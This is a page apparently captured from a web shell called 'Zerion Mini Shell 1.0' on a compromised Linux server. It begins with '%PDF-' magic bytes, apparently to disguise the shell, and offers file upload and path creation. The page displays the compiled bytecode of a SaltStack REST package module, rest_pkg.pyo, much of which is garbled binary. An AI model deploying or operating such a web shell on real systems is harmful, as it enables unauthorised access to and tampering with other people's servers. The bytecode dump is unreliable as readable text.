%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/rest_pkg.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddl	m
Z
eje�Z
dZd�Zed�Zdedddd�Zddd	�Zd
�Zeed�Zdededdd�ZdS(
u&
Package support for the REST example
i(tabsolute_importtprint_functiontunicode_literalsN(tsixupkgcC@sSy.tjjj�r-tdddkr-tSWntk
rHtdfSXtdfS(u6
    Only work on systems that are a proxy minion
    uproxyu	proxytypeurest_sampleuPThe rest_package execution module failed to load. Check the proxy key in pillar.u[The rest_package execution module failed to load: only works on a rest_sample proxy minion.(tsalttutilstplatformtis_proxyt__opts__t__virtualname__tKeyErrortFalse(((s9/usr/lib/python2.7/site-packages/salt/modules/rest_pkg.pyt__virtual__s
cK@std�S(Nurest_sample.package_list(t	__proxy__(tversions_as_listtkwargs((s9/usr/lib/python2.7/site-packages/salt/modules/rest_pkg.pyt	list_pkgs.scK@std||�S(Nurest_sample.package_install(R
(tnametrefreshtfromrepotpkgstsourcesR((s9/usr/lib/python2.7/site-packages/salt/modules/rest_pkg.pytinstall2scK@std|�S(Nurest_sample.package_remove(R
(RRR((s9/usr/lib/python2.7/site-packages/salt/modules/rest_pkg.pytremove7scO@s1t|�dkr-tjtd|d��SdS(uY
    Returns a string representing the package version or an empty string if not
    installed. If more than one package name is specified, a dict of
    name/version pairs is returned.

    CLI Example:

    .. code-block:: bash

        salt '*' pkg.version <package name>
        salt '*' pkg.version <package1> <package2> <package3> ...
    iurest_sample.package_statusiN(tlenRt	text_typeR
(tnamesR((s9/usr/lib/python2.7/site-packages/salt/modules/rest_pkg.pytversion;s
cK@s=td�}td�}td�}tjjj||�S(Nurest_sample.package_listurest_sample.uptodateurest_sample.upgrade(R
RRtdatat
compare_dicts(Rtskip_verifyRtoldtnewt
pkg_installed((s9/usr/lib/python2.7/site-packages/salt/modules/rest_pkg.pytupgradeLs


c	K@sctd|�}|dkr@d|kr9tj|d�StSn|dk	r_|tj|�kSdS(Nurest_sample.package_statusuret(R
tNoneRRtTrue(	RRRRRRRRtp((s9/usr/lib/python2.7/site-packages/salt/modules/rest_pkg.pyt	installedSs
(t__doc__t
__future__RRRtloggingtsalt.utils.dataRtsalt.utils.platformtsalt.extRt	getLoggert__name__tlogR	RRRR#RRRR$R"R&(((s9/usr/lib/python2.7/site-packages/salt/modules/rest_pkg.pyt<module>s(				

Zerion Mini Shell 1.0